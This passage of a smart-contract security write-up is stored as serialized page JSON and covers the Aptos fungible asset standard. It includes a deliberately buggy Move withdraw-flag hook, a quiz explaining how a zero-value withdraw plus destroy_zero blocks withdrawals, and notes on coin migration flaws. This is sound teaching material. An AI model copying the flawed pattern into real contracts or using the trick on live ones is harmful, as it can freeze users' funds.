assert_withdraw_flag",{"type":22,"tag":118,"props":68300,"children":68301},{"style":125},[68302],{"type":28,"value":540},{"type":22,"tag":118,"props":68304,"children":68305},{"style":146},[68306],{"type":28,"value":6007},{"type":22,"tag":118,"props":68308,"children":68309},{"style":125},[68310],{"type":28,"value":682},{"type":22,"tag":118,"props":68312,"children":68313},{"class":120,"line":177},[68314,68318,68322],{"type":22,"tag":118,"props":68315,"children":68316},{"style":125},[68317],{"type":28,"value":64659},{"type":22,"tag":118,"props":68319,"children":68320},{"style":210},[68321],{"type":28,"value":11589},{"type":22,"tag":118,"props":68323,"children":68324},{"style":125},[68325],{"type":28,"value":13772},{"type":22,"tag":118,"props":68327,"children":68328},{"class":120,"line":195},[68329,68334,68338,68342],{"type":22,"tag":118,"props":68330,"children":68331},{"style":532},[68332],{"type":28,"value":68333},"    set_withdraw_flag",{"type":22,"tag":118,"props":68335,"children":68336},{"style":125},[68337],{"type":28,"value":540},{"type":22,"tag":118,"props":68339,"children":68340},{"style":146},[68341],{"type":28,"value":10179},{"type":22,"tag":118,"props":68343,"children":68344},{"style":125},[68345],{"type":28,"value":682},{"type":22,"tag":118,"props":68347,"children":68348},{"class":120,"line":244},[68349,68353,68357,68361,68365,68369,68373,68377,68381,68385],{"type":22,"tag":118,"props":68350,"children":68351},{"style":125},[68352],{"type":28,"value":67901},{"type":22,"tag":118,"props":68354,"children":68355},{"style":210},[68356],{"type":28,"value":1190},{"type":22,"tag":118,"props":68358,"children":68359},{"style":532},[68360],{"type":28,"value":68089},{"type":22,"tag":118,"props":68362,"children":68363},{"style":125},[68364],{"type":28,"value":540},{"type":22,"tag":118,"props":68366,"children":68367},{"style":204},[68368],{"type":28,"value":67919},{"type":22,"tag":118,"props":68370,"children":68371},{"style":125},[68372],{"type":28,"value":231},{"type":22,"tag":118,"props":68374,"children":68375},{"style":204},[68376],{"type":28,"value":7950},{"type":22,"tag":118,"props":68378,"children":68379},{"style":125},[68380],{"type":28,"value":231},{"type":22,"tag":118,"props":68382,"children":68383},{"style":204},[68384],{"type":28,"value":22270},{"type":22,"tag":118,"props":68386,"children":68387},{"style":125},[68388],{"type":28,"value":682},{"type":22,"tag":118,"props":68390,"children":68391},{"class":120,"line":253},[68392,68396,68400],{"type":22,"tag":118,"props":68393,"children":68394},{"style":125},[68395],{"type":28,"value":64659},{"type":22,"tag":118,"props":68397,"children":68398},{"style":210},[68399],{"type":28,"value":11589},{"type":22,"tag":118,"props":68401,"children":68402},{"style":125},[68403],{"type":28,"value":13772},{"type":22,"tag":118,"props":68405,"children":68406},{"class":120,"line":263},[68407],{"type":22,"tag":118,"props":68408,"children":68409},{"style":125},[68410],{"type":28,"value":1254},{"type":22,"tag":118,"props":68412,"children":68413},{"class":120,"line":318},[68414],{"type":22,"tag":118,"props":68415,"children":68416},{"emptyLinePlaceholder":15},[68417],{"type":28,"value":250},{"type":22,"tag":118,"props":68419,"children":68420},{"class":120,"line":351},[68421,68425,68429,68433,68437,68441,68445,68449,68453,68457,68461,68465,68469,68473,68477,68481,68485,68489,68493,68497,68501,68505,68509,68513,68517,68521,68525,68529,68533],{"type":22,"tag":118,"props":68422,"children":68423},{"style":204},[68424],{"type":28,"value":63616},{"type":22,"tag":118,"props":68426,"children":68427},{"style":204},[68428],{"type":28,"value":8216},{"type":22,"tag":118,"props":68430,"children":68431},{"style":204},[68432],{"type":28,"value":22237},{"type":22,"tag":118,"props":68434,"children":68435},{"style":125},[68436],{"type":28,"value":559},{"type":22,"tag":118,"props":68438,"children":68439},{"style":131},[68440],{"type":28,"value":7997},{"type":22,"tag":118,"props":68442,"children":68443},{"style":210},[68444],{"type":28,"value":213},{"type":22,"tag":118,"props":68446,"children":68447},{"style":204},[68448],{"type":28,"value":7941},{"type":22,"tag":118,"props":68450,"children":68451},{"style":125},[68452],{"type":28,"value":9617},{"type":22,"tag":118,"props":68454,"children":68455},{"style":204},[68456],{"type":28,"value":7950},{"type":22,"tag":118,"props":68458,"children":68459},{"style":210},[68460],{"type":28,"value":213},{"type":22,"tag":118,"props":68462,"children":68463},{"style":131},[68464],{"type":28,"value":63502},{"type":22,"tag":118,"props":68466,"children":68467},{"style":125},[68468],{"type":28,"value":559},{"type":22,"tag":118,"props":68470,"children":68471},{"style":131},[68472],{"type":28,"value":7997},{"type":22,"tag":118,"props":68474,"children":68475},{"style":125},[68476],{"type":28,"value":569},{"type":22,"tag":118,"props":68478,"children":68479},{"style":204},[68480],{"type":28,"value":22270},{"type":22,"tag":118,"props":68482,"children":68483},{"style":210},[68484],{"type":28,"value":213},{"type":22,"tag":118,"props":68486,"children":68487},{"style":131},[68488],{"type":28,"value":583},{"type":22,"tag":118,"props":68490,"children":68491},{"style":125},[68492],{"type":28,"value":231},{"type":22,"tag":118,"props":68494,"children":68495},{"style":204},[68496],{"type":28,"value":67919},{"type":22,"tag":118,"props":68498,"children":68499},{"style":210},[68500],{"type":28,"value":213},{"type":22,"tag":118,"props":68502,"children":68503},{"style":210},[68504],{"type":28,"value":1430},{"type":22,"tag":118,"props":68506,"children":68507},{"style":131},[68508],{"type":28,"value":67365},{"type":22,"tag":118,"props":68510,"children":68511},{"style":125},[68512],{"type":28,"value":3627},{"type":22,"tag":118,"props":68514,"children":68515},{"style":210},[68516],{"type":28,"value":213},{"type":22,"tag":118,"props":68518,"children":68519},{"style":131},[68520],{"type":28,"value":63481},{"type":22,"tag":118,"props":68522,"children":68523},{"style":204},[68524],{"type":28,"value":9573},{"type":22,"tag":118,"props":68526,"children":68527},{"style":125},[68528],{"type":28,"value":24983},{"type":22,"tag":118,"props":68530,"children":68531},{"style":210},[68532],{"type":28,"value":11589},{"type":22,"tag":118,"props":68534,"children":68535},{"style":125},[68536],{"type":28,"value":63707},{"type":22,"tag":118,"props":68538,"children":68539},{"class":120,"line":359},[68540,68544,68548,68552],{"type":22,"tag":118,"props":68541,"children":68542},{"style":532},[68543],{"type":28,"value":68298},{"type":22,"tag":118,"props":68545,"children":68546},{"style":125},[68547],{"type":28,"value":540},{"type":22,"tag":118,"props":68549,"children":68550},{"style":146},[68551],{"type":28,"value":10179},{"type":22,"tag":118,"props":68553,"children":68554},{"style":125},[68555],{"type":28,"value":682},{"type":22,"tag":118,"props":68557,"children":68558},{"class":120,"line":368},[68559,68563,68567],{"type":22,"tag":118,"props":68560,"children":68561},{"style":125},[68562],{"type":28,"value":64659},{"type":22,"tag":118,"props":68564,"children":68565},{"style":210},[68566],{"type":28,"value":11589},{"type":22,"tag":118,"props":68568,"children":68569},{"style":125},[68570],{"type":28,"value":13772},{"type":22,"tag":118,"props":68572,"children":68573},{"class":120,"line":384},[68574,68578,68582,68586],{"type":22,"tag":118,"props":68575,"children":68576},{"style":532},[68577],{"type":28,"value":68333},{"type":22,"tag":118,"props":68579,"children":68580},{"style":125},[68581],{"type":28,"value":540},{"type":22,"tag":118,"props":68583,"children":68584},{"style":146},[68585],{"type":28,"value":6007},{"type":22,"tag":118,"props":68587,"children":68588},{"style":125},[68589],{"type":28,"value":682},{"type":22,"tag":118,"props":68591,"children":68592},{"class":120,"line":417},[68593,68597,68601,68605,68609,68613,68617,68621,68625,68629],{"type":22,"tag":118,"props":68594,"children":68595},{"style":125},[68596],{"type":28,"value":67901},{"type":22,"tag":118,"props":68598,"children":68599},{"style":210},[68600],{"type":28,"value":1190},{"type":22,"tag":118,"props":68602,"children":68603},{"style":532},[68604],{"type":28,"value":67910},{"type":22,"tag":118,"props":68606,"children":68607},{"style":125},[68608],{"type":28,"value":540},{"type":22,"tag":118,"props":68610,"children":68611},{"style":204},[68612],{"type":28,"value":67919},{"type":22,"tag":118,"props":68614,"children":68615},{"style":125},[68616],{"type":28,"value":231},{"type":22,"tag":118,"props":68618,"children":68619},{"style":204},[68620],{"type":28,"value":7950},{"type":22,"tag":118,"props":68622,"children":68623},{"style":125},[68624],{"type":28,"value":231},{"type":22,"tag":118,"props":68626,"children":68627},{"style":204},[68628],{"type":28,"value":22270},{"type":22,"tag":118,"props":68630,"children":68631},{"style":125},[68632],{"type":28,"value":3665},{"type":22,"tag":118,"props":68634,"children":68635},{"class":120,"line":425},[68636],{"type":22,"tag":118,"props":68637,"children":68638},{"style":125},[68639],{"type":28,"value":481},{"type":22,"tag":31,"props":68641,"children":68642},{},[68643],{"type":28,"value":68644},"At first glance, this code appears valid, but not to an astute reader.",{"type":22,"tag":68126,"props":68646,"children":68647},{},[68648,68653],{"type":22,"tag":31,"props":68649,"children":68650},{},[68651],{"type":28,"value":68652},"Can you spot the bug? Hint: We mentioned the root cause previously.",{"type":22,"tag":68157,"props":68654,"children":68655},{"v-slot:answer-0":7},[68656,68676],{"type":22,"tag":31,"props":68657,"children":68658},{},[68659,68661,68666,68668,68674],{"type":28,"value":68660},"The developer overlooked an important detail, which we already mentioned earlier: a fungible asset with a value of zero can also be burned! An attacker could exploit this by withdrawing 0 ",{"type":22,"tag":114,"props":68662,"children":68664},{"className":68663},[],[68665],{"type":28,"value":63452},{"type":28,"value":68667}," (since withdraw doesn’t verify if the value is greater than 0) and then burning it using ",{"type":22,"tag":114,"props":68669,"children":68671},{"className":68670},[],[68672],{"type":28,"value":68673},"fungible_asset::destroy_zero",{"type":28,"value":68675},". This would complete the transaction while keeping the \"blocked\" flag set, effectively preventing further withdrawals.",{"type":22,"tag":31,"props":68677,"children":68678},{},[68679],{"type":28,"value":68680},"It's important to understand all the features in the standard.",{"type":22,"tag":23,"props":68682,"children":68684},{"id":68683},"migrating-from-coins-to-fungible-assets",[68685],{"type":28,"value":68686},"Migrating from coins to fungible assets",{"type":22,"tag":31,"props":68688,"children":68689},{},[68690,68692,68697],{"type":28,"value":68691},"If a fungible asset is considered an upgrade to ",{"type":22,"tag":114,"props":68693,"children":68695},{"className":68694},[],[68696],{"type":28,"value":62907},{"type":28,"value":68698},", a transition mechanism becomes necessary. This is addressed through a conversion map, establishing a relationship between specific coin and fungible asset. This duality is not without its challenges.",{"type":22,"tag":68700,"props":68701,"children":68702},"note",{},[68703],{"type":22,"tag":31,"props":68704,"children":68705},{},[68706,68708,68713,68715,68720],{"type":28,"value":68707},"While the ",{"type":22,"tag":114,"props":68709,"children":68711},{"className":68710},[],[68712],{"type":28,"value":62907},{"type":28,"value":68714}," API recognizes and integrates with fungible assets, the fungible asset APIs do not have awareness of the linked ",{"type":22,"tag":114,"props":68716,"children":68718},{"className":68717},[],[68719],{"type":28,"value":62907},{"type":28,"value":292},{"type":22,"tag":31,"props":68722,"children":68723},{},[68724,68725,68731,68733,68738,68740,68745],{"type":28,"value":2743},{"type":22,"tag":114,"props":68726,"children":68728},{"className":68727},[],[68729],{"type":28,"value":68730},"coin_to_fungible_asset",{"type":28,"value":68732}," converting function automatically generates a corresponding fungible asset for a ",{"type":22,"tag":114,"props":68734,"children":68736},{"className":68735},[],[68737],{"type":28,"value":62907},{"type":28,"value":68739}," if one does not already exist. Manual creation of a fungible asset and its linkage to a ",{"type":22,"tag":114,"props":68741,"children":68743},{"className":68742},[],[68744],{"type":28,"value":62907},{"type":28,"value":68746}," is not allowed.",{"type":22,"tag":107,"props":68748,"children":68750},{"className":109,"code":68749,"language":111,"meta":7,"style":7},"public fun coin_to_fungible_asset\u003CCoinType>(\n    coin: Coin\u003CCoinType>\n): FungibleAsset acquires CoinConversionMap, CoinInfo {\n    let metadata = ensure_paired_metadata\u003CCoinType>();\n    let amount = burn_internal(coin);\n    fungible_asset::mint_internal(metadata, amount)\n}\n",[68751],{"type":22,"tag":114,"props":68752,"children":68753},{"__ignoreMap":7},[68754,68782,68809,68845,68878,68911,68947],{"type":22,"tag":118,"props":68755,"children":68756},{"class":120,"line":121},[68757,68761,68765,68770,68774,68778],{"type":22,"tag":118,"props":68758,"children":68759},{"style":204},[68760],{"type":28,"value":63616},{"type":22,"tag":118,"props":68762,"children":68763},{"style":204},[68764],{"type":28,"value":8216},{"type":22,"tag":118,"props":68766,"children":68767},{"style":204},[68768],{"type":28,"value":68769}," coin_to_fungible_asset",{"type":22,"tag":118,"props":68771,"children":68772},{"style":125},[68773],{"type":28,"value":559},{"type":22,"tag":118,"props":68775,"children":68776},{"style":131},[68777],{"type":28,"value":8593},{"type":22,"tag":118,"props":68779,"children":68780},{"style":125},[68781],{"type":28,"value":8598},{"type":22,"tag":118,"props":68783,"children":68784},{"class":120,"line":142},[68785,68789,68793,68797,68801,68805],{"type":22,"tag":118,"props":68786,"children":68787},{"style":204},[68788],{"type":28,"value":63126},{"type":22,"tag":118,"props":68790,"children":68791},{"style":210},[68792],{"type":28,"value":213},{"type":22,"tag":118,"props":68794,"children":68795},{"style":131},[68796],{"type":28,"value":7812},{"type":22,"tag":118,"props":68798,"children":68799},{"style":125},[68800],{"type":28,"value":559},{"type":22,"tag":118,"props":68802,"children":68803},{"style":131},[68804],{"type":28,"value":8593},{"type":22,"tag":118,"props":68806,"children":68807},{"style":125},[68808],{"type":28,"value":8002},{"type":22,"tag":118,"props":68810,"children":68811},{"class":120,"line":177},[68812,68816,68820,68824,68828,68833,68837,68841],{"type":22,"tag":118,"props":68813,"children":68814},{"style":125},[68815],{"type":28,"value":3627},{"type":22,"tag":118,"props":68817,"children":68818},{"style":210},[68819],{"type":28,"value":213},{"type":22,"tag":118,"props":68821,"children":68822},{"style":131},[68823],{"type":28,"value":63481},{"type":22,"tag":118,"props":68825,"children":68826},{"style":204},[68827],{"type":28,"value":9573},{"type":22,"tag":118,"props":68829,"children":68830},{"style":131},[68831],{"type":28,"value":68832}," CoinConversionMap",{"type":22,"tag":118,"props":68834,"children":68835},{"style":125},[68836],{"type":28,"value":231},{"type":22,"tag":118,"props":68838,"children":68839},{"style":131},[68840],{"type":28,"value":8722},{"type":22,"tag":118,"props":68842,"children":68843},{"style":125},[68844],{"type":28,"value":1474},{"type":22,"tag":118,"props":68846,"children":68847},{"class":120,"line":195},[68848,68852,68857,68861,68866,68870,68874],{"type":22,"tag":118,"props":68849,"children":68850},{"style":146},[68851],{"type":28,"value":4152},{"type":22,"tag":118,"props":68853,"children":68854},{"style":204},[68855],{"type":28,"value":68856}," metadata",{"type":22,"tag":118,"props":68858,"children":68859},{"style":210},[68860],{"type":28,"value":837},{"type":22,"tag":118,"props":68862,"children":68863},{"style":204},[68864],{"type":28,"value":68865}," ensure_paired_metadata",{"type":22,"tag":118,"props":68867,"children":68868},{"style":125},[68869],{"type":28,"value":559},{"type":22,"tag":118,"props":68871,"children":68872},{"style":131},[68873],{"type":28,"value":8593},{"type":22,"tag":118,"props":68875,"children":68876},{"style":125},[68877],{"type":28,"value":10454},{"type":22,"tag":118,"props":68879,"children":68880},{"class":120,"line":244},[68881,68885,68890,68894,68899,68903,68907],{"type":22,"tag":118,"props":68882,"children":68883},{"style":146},[68884],{"type":28,"value":4152},{"type":22,"tag":118,"props":68886,"children":68887},{"style":204},[68888],{"type":28,"value":68889}," amount",{"type":22,"tag":118,"props":68891,"children":68892},{"style":210},[68893],{"type":28,"value":837},{"type":22,"tag":118,"props":68895,"children":68896},{"style":532},[68897],{"type":28,"value":68898}," burn_internal",{"type":22,"tag":118,"props":68900,"children":68901},{"style":125},[68902],{"type":28,"value":540},{"type":22,"tag":118,"props":68904,"children":68905},{"style":204},[68906],{"type":28,"value":62874},{"type":22,"tag":118,"props":68908,"children":68909},{"style":125},[68910],{"type":28,"value":682},{"type":22,"tag":118,"props":68912,"children":68913},{"class":120,"line":253},[68914,68918,68922,68927,68931,68935,68939,68943],{"type":22,"tag":118,"props":68915,"children":68916},{"style":125},[68917],{"type":28,"value":67901},{"type":22,"tag":118,"props":68919,"children":68920},{"style":210},[68921],{"type":28,"value":1190},{"type":22,"tag":118,"props":68923,"children":68924},{"style":532},[68925],{"type":28,"value":68926},"mint_internal",{"type":22,"tag":118,"props":68928,"children":68929},{"style":125},[68930],{"type":28,"value":540},{"type":22,"tag":118,"props":68932,"children":68933},{"style":204},[68934],{"type":28,"value":64253},{"type":22,"tag":118,"props":68936,"children":68937},{"style":125},[68938],{"type":28,"value":231},{"type":22,"tag":118,"props":68940,"children":68941},{"style":204},[68942],{"type":28,"value":22270},{"type":22,"tag":118,"props":68944,"children":68945},{"style":125},[68946],{"type":28,"value":3665},{"type":22,"tag":118,"props":68948,"children":68949},{"class":120,"line":263},[68950],{"type":22,"tag":118,"props":68951,"children":68952},{"style":125},[68953],{"type":28,"value":481},{"type":22,"tag":31,"props":68955,"children":68956},{},[68957,68959,68966],{"type":28,"value":68958},"When creating a fungible asset, several pieces of information are required, such as the asset’s name, symbol, or maximum supply. During our audit of the fungible asset standard, we ",{"type":22,"tag":42,"props":68960,"children":68963},{"href":68961,"rel":68962},"https://github.com/aptos-labs/aptos-core/commit/e5f4b62b237dad4d15069d3bb0b551b2df04bf08",[46],[68964],{"type":28,"value":68965},"noticed an overlooked detail",{"type":28,"value":68967}," in the linking process.",{"type":22,"tag":107,"props":68969,"children":68971},{"className":109,"code":68970,"language":111,"meta":7,"style":7},"[...]\nprimary_fungible_store::create_primary_store_enabled_fungible_asset(\n    &metadata_object_cref,\n    option::map(coin_supply\u003CCoinType>(), |_| MAX_U128),\n    name\u003CCoinType>(),\n    symbol\u003CCoinType>(),\n    decimals\u003CCoinType>(),\n    string::utf8(b\"\"),\n    string::utf8(b\"\"),\n);\n[...]\n",[68972],{"type":22,"tag":114,"props":68973,"children":68974},{"__ignoreMap":7},[68975,68990,69010,69027,69082,69103,69123,69143,69173,69200,69207],{"type":22,"tag":118,"props":68976,"children":68977},{"class":120,"line":121},[68978,68982,68986],{"type":22,"tag":118,"props":68979,"children":68980},{"style":125},[68981],{"type":28,"value":5746},{"type":22,"tag":118,"props":68983,"children":68984},{"style":210},[68985],{"type":28,"value":11589},{"type":22,"tag":118,"props":68987,"children":68988},{"style":125},[68989],{"type":28,"value":13772},{"type":22,"tag":118,"props":68991,"children":68992},{"class":120,"line":142},[68993,68997,69001,69006],{"type":22,"tag":118,"props":68994,"children":68995},{"style":125},[68996],{"type":28,"value":64550},{"type":22,"tag":118,"props":68998,"children":68999},{"style":210},[69000],{"type":28,"value":1190},{"type":22,"tag":118,"props":69002,"children":69003},{"style":532},[69004],{"type":28,"value":69005},"create_primary_store_enabled_fungible_asset",{"type":22,"tag":118,"props":69007,"children":69008},{"style":125},[69009],{"type":28,"value":696},{"type":22,"tag":118,"props":69011,"children":69012},{"class":120,"line":177},[69013,69018,69023],{"type":22,"tag":118,"props":69014,"children":69015},{"style":210},[69016],{"type":28,"value":69017},"    &",{"type":22,"tag":118,"props":69019,"children":69020},{"style":204},[69021],{"type":28,"value":69022},"metadata_object_cref",{"type":22,"tag":118,"props":69024,"children":69025},{"style":125},[69026],{"type":28,"value":782},{"type":22,"tag":118,"props":69028,"children":69029},{"class":120,"line":195},[69030,69035,69039,69043,69047,69052,69056,69060,69065,69069,69073,69077],{"type":22,"tag":118,"props":69031,"children":69032},{"style":125},[69033],{"type":28,"value":69034},"    option",{"type":22,"tag":118,"props":69036,"children":69037},{"style":210},[69038],{"type":28,"value":1190},{"type":22,"tag":118,"props":69040,"children":69041},{"style":532},[69042],{"type":28,"value":3595},{"type":22,"tag":118,"props":69044,"children":69045},{"style":125},[69046],{"type":28,"value":540},{"type":22,"tag":118,"props":69048,"children":69049},{"style":204},[69050],{"type":28,"value":69051},"coin_supply",{"type":22,"tag":118,"props":69053,"children":69054},{"style":125},[69055],{"type":28,"value":559},{"type":22,"tag":118,"props":69057,"children":69058},{"style":131},[69059],{"type":28,"value":8593},{"type":22,"tag":118,"props":69061,"children":69062},{"style":125},[69063],{"type":28,"value":69064},">(), ",{"type":22,"tag":118,"props":69066,"children":69067},{"style":210},[69068],{"type":28,"value":3604},{"type":22,"tag":118,"props":69070,"children":69071},{"style":204},[69072],{"type":28,"value":3422},{"type":22,"tag":118,"props":69074,"children":69075},{"style":210},[69076],{"type":28,"value":3604},{"type":22,"tag":118,"props":69078,"children":69079},{"style":125},[69080],{"type":28,"value":69081}," MAX_U128),\n",{"type":22,"tag":118,"props":69083,"children":69084},{"class":120,"line":244},[69085,69090,69094,69098],{"type":22,"tag":118,"props":69086,"children":69087},{"style":204},[69088],{"type":28,"value":69089},"    name",{"type":22,"tag":118,"props":69091,"children":69092},{"style":125},[69093],{"type":28,"value":559},{"type":22,"tag":118,"props":69095,"children":69096},{"style":131},[69097],{"type":28,"value":8593},{"type":22,"tag":118,"props":69099,"children":69100},{"style":125},[69101],{"type":28,"value":69102},">(),\n",{"type":22,"tag":118,"props":69104,"children":69105},{"class":120,"line":253},[69106,69111,69115,69119],{"type":22,"tag":118,"props":69107,"children":69108},{"style":204},[69109],{"type":28,"value":69110},"    symbol",{"type":22,"tag":118,"props":69112,"children":69113},{"style":125},[69114],{"type":28,"value":559},{"type":22,"tag":118,"props":69116,"children":69117},{"style":131},[69118],{"type":28,"value":8593},{"type":22,"tag":118,"props":69120,"children":69121},{"style":125},[69122],{"type":28,"value":69102},{"type":22,"tag":118,"props":69124,"children":69125},{"class":120,"line":263},[69126,69131,69135,69139],{"type":22,"tag":118,"props":69127,"children":69128},{"style":204},[69129],{"type":28,"value":69130},"    decimals",{"type":22,"tag":118,"props":69132,"children":69133},{"style":125},[69134],{"type":28,"value":559},{"type":22,"tag":118,"props":69136,"children":69137},{"style":131},[69138],{"type":28,"value":8593},{"type":22,"tag":118,"props":69140,"children":69141},{"style":125},[69142],{"type":28,"value":69102},{"type":22,"tag":118,"props":69144,"children":69145},{"class":120,"line":318},[69146,69151,69155,69160,69164,69169],{"type":22,"tag":118,"props":69147,"children":69148},{"style":125},[69149],{"type":28,"value":69150},"    string",{"type":22,"tag":118,"props":69152,"children":69153},{"style":210},[69154],{"type":28,"value":1190},{"type":22,"tag":118,"props":69156,"children":69157},{"style":532},[69158],{"type":28,"value":69159},"utf8",{"type":22,"tag":118,"props":69161,"children":69162},{"style":125},[69163],{"type":28,"value":540},{"type":22,"tag":118,"props":69165,"children":69166},{"style":1866},[69167],{"type":28,"value":69168},"b\"\"",{"type":22,"tag":118,"props":69170,"children":69171},{"style":125},[69172],{"type":28,"value":3853},{"type":22,"tag":118,"props":69174,"children":69175},{"class":120,"line":351},[69176,69180,69184,69188,69192,69196],{"type":22,"tag":118,"props":69177,"children":69178},{"style":125},[69179],{"type":28,"value":69150},{"type":22,"tag":118,"props":69181,"children":69182},{"style":210},[69183],{"type":28,"value":1190},{"type":22,"tag":118,"props":69185,"children":69186},{"style":532},[69187],{"type":28,"value":69159},{"type":22,"tag":118,"props":69189,"children":69190},{"style":125},[69191],{"type":28,"value":540},{"type":22,"tag":118,"props":69193,"children":69194},{"style":1866},[69195],{"type":28,"value":69168},{"type":22,"tag":118,"props":69197,"children":69198},{"style":125},[69199],{"type":28,"value":3853},{"type":22,"tag":118,"props":69201,"children":69202},{"class":120,"line":359},[69203],{"type":22,"tag":118,"props":69204,"children":69205},{"style":125},[69206],{"type":28,"value":682},{"type":22,"tag":118,"props":69208,"children":69209},{"class":120,"line":368},[69210,69214,69218],{"type":22,"tag":118,"props":69211,"children":69212},{"style":125},[69213],{"type":28,"value":5746},{"type":22,"tag":118,"props":69215,"children":69216},{"style":210},[69217],{"type":28,"value":11589},{"type":22,"tag":118,"props":69219,"children":69220},{"style":125},[69221],{"type":28,"value":13772},{"type":22,"tag":31,"props":69223,"children":69224},{},[69225,69227,69232],{"type":28,"value":69226},"When the linked fungible asset was created, the current ",{"type":22,"tag":114,"props":69228,"children":69230},{"className":69229},[],[69231],{"type":28,"value":62907},{"type":28,"value":69233}," supply was incorrectly passed as the maximum fungible asset supply, preventing the minting of additional fungible assets beyond the existing coin circulation.",{"type":22,"tag":31,"props":69235,"children":69236},{},[69237,69239,69244,69246,69252,69254,69259],{"type":28,"value":69238},"Users can manually migrate their ",{"type":22,"tag":114,"props":69240,"children":69242},{"className":69241},[],[69243],{"type":28,"value":63069},{"type":28,"value":69245}," to a primary fungible store. This creates a store for the paired fungible asset (if one doesn’t exist) and removes the ",{"type":22,"tag":114,"props":69247,"children":69249},{"className":69248},[],[69250],{"type":28,"value":69251},"\u003CCoinStore\u003CCoinType>>",{"type":28,"value":69253}," from the caller. All coins in the ",{"type":22,"tag":114,"props":69255,"children":69257},{"className":69256},[],[69258],{"type":28,"value":63069},{"type":28,"value":69260}," are exchanged and transferred to the new store during the migration.",{"type":22,"tag":107,"props":69262,"children":69264},{"className":109,"code":69263,"language":111,"meta":7,"style":7},"/// Voluntarily migrate to fungible store for `CoinType` if not yet.\npublic entry fun migrate_to_fungible_store\u003CCoinType>(\n    account: &signer\n) acquires CoinStore, CoinConversionMap, CoinInfo {\n    maybe_convert_to_fungible_store\u003CCoinType>(signer::address_of(account));\n}\n",[69265],{"type":22,"tag":114,"props":69266,"children":69267},{"__ignoreMap":7},[69268,69276,69308,69328,69364,69405],{"type":22,"tag":118,"props":69269,"children":69270},{"class":120,"line":121},[69271],{"type":22,"tag":118,"props":69272,"children":69273},{"style":257},[69274],{"type":28,"value":69275},"/// Voluntarily migrate to fungible store for `CoinType` if not yet.\n",{"type":22,"tag":118,"props":69277,"children":69278},{"class":120,"line":142},[69279,69283,69287,69291,69296,69300,69304],{"type":22,"tag":118,"props":69280,"children":69281},{"style":204},[69282],{"type":28,"value":63616},{"type":22,"tag":118,"props":69284,"children":69285},{"style":204},[69286],{"type":28,"value":64583},{"type":22,"tag":118,"props":69288,"children":69289},{"style":204},[69290],{"type":28,"value":8216},{"type":22,"tag":118,"props":69292,"children":69293},{"style":204},[69294],{"type":28,"value":69295}," migrate_to_fungible_store",{"type":22,"tag":118,"props":69297,"children":69298},{"style":125},[69299],{"type":28,"value":559},{"type":22,"tag":118,"props":69301,"children":69302},{"style":131},[69303],{"type":28,"value":8593},{"type":22,"tag":118,"props":69305,"children":69306},{"style":125},[69307],{"type":28,"value":8598},{"type":22,"tag":118,"props":69309,"children":69310},{"class":120,"line":177},[69311,69315,69319,69323],{"type":22,"tag":118,"props":69312,"children":69313},{"style":204},[69314],{"type":28,"value":3125},{"type":22,"tag":118,"props":69316,"children":69317},{"style":210},[69318],{"type":28,"value":213},{"type":22,"tag":118,"props":69320,"children":69321},{"style":210},[69322],{"type":28,"value":1430},{"type":22,"tag":118,"props":69324,"children":69325},{"style":204},[69326],{"type":28,"value":69327},"signer\n",{"type":22,"tag":118,"props":69329,"children":69330},{"class":120,"line":195},[69331,69335,69339,69343,69347,69352,69356,69360],{"type":22,"tag":118,"props":69332,"children":69333},{"style":125},[69334],{"type":28,"value":588},{"type":22,"tag":118,"props":69336,"children":69337},{"style":204},[69338],{"type":28,"value":8353},{"type":22,"tag":118,"props":69340,"children":69341},{"style":131},[69342],{"type":28,"value":63090},{"type":22,"tag":118,"props":69344,"children":69345},{"style":125},[69346],{"type":28,"value":231},{"type":22,"tag":118,"props":69348,"children":69349},{"style":131},[69350],{"type":28,"value":69351},"CoinConversionMap",{"type":22,"tag":118,"props":69353,"children":69354},{"style":125},[69355],{"type":28,"value":231},{"type":22,"tag":118,"props":69357,"children":69358},{"style":131},[69359],{"type":28,"value":8722},{"type":22,"tag":118,"props":69361,"children":69362},{"style":125},[69363],{"type":28,"value":1474},{"type":22,"tag":118,"props":69365,"children":69366},{"class":120,"line":244},[69367,69372,69376,69380,69385,69389,69393,69397,69401],{"type":22,"tag":118,"props":69368,"children":69369},{"style":204},[69370],{"type":28,"value":69371},"    maybe_convert_to_fungible_store",{"type":22,"tag":118,"props":69373,"children":69374},{"style":125},[69375],{"type":28,"value":559},{"type":22,"tag":118,"props":69377,"children":69378},{"style":131},[69379],{"type":28,"value":8593},{"type":22,"tag":118,"props":69381,"children":69382},{"style":125},[69383],{"type":28,"value":69384},">(signer",{"type":22,"tag":118,"props":69386,"children":69387},{"style":210},[69388],{"type":28,"value":1190},{"type":22,"tag":118,"props":69390,"children":69391},{"style":532},[69392],{"type":28,"value":9216},{"type":22,"tag":118,"props":69394,"children":69395},{"style":125},[69396],{"type":28,"value":540},{"type":22,"tag":118,"props":69398,"children":69399},{"style":204},[69400],{"type":28,"value":2514},{"type":22,"tag":118,"props":69402,"children":69403},{"style":125},[69404],{"type":28,"value":9230},{"type":22,"tag":118,"props":69406,"children":69407},{"class":120,"line":253},[69408],{"type":22,"tag":118,"props":69409,"children":69410},{"style":125},[69411],{"type":28,"value":481},{"type":22,"tag":31,"props":69413,"children":69414},{},[69415,69417,69422,69424,69429],{"type":28,"value":69416},"A curious reader might wonder about the fate of the ",{"type":22,"tag":114,"props":69418,"children":69420},{"className":69419},[],[69421],{"type":28,"value":63069},{"type":28,"value":69423}," \"frozen\" status during migration. Unsurprisingly tough, the \"frozen\" status of the primary fungible store is matched to that of the ",{"type":22,"tag":114,"props":69425,"children":69427},{"className":69426},[],[69428],{"type":28,"value":63069},{"type":28,"value":69430}," to ensure consistency.",{"type":22,"tag":68126,"props":69432,"children":69433},{},[69434,69453],{"type":22,"tag":31,"props":69435,"children":69436},{},[69437,69439,69444,69446,69451],{"type":28,"value":69438},"Could an attacker convert their ",{"type":22,"tag":114,"props":69440,"children":69442},{"className":69441},[],[69443],{"type":28,"value":63069},{"type":28,"value":69445}," to a primary fungible store and then register another ",{"type":22,"tag":114,"props":69447,"children":69449},{"className":69448},[],[69450],{"type":28,"value":63069},{"type":28,"value":69452}," only to convert it again to manipulate the \"frozen\" status of the linked primary fungible store?",{"type":22,"tag":68157,"props":69454,"children":69455},{"v-slot:answer-0":7},[69456],{"type":22,"tag":31,"props":69457,"children":69458},{},[69459],{"type":28,"value":69460},"The coin::register function first checks is_account_registered, which exits early if true. is_account_registered determines if the account has a primary fungible store for the linked fungible asset when the CoinStore doesn’t exist. If the fungible store has been converted, a primary fungible store and linked fungible asset will already exist, preventing 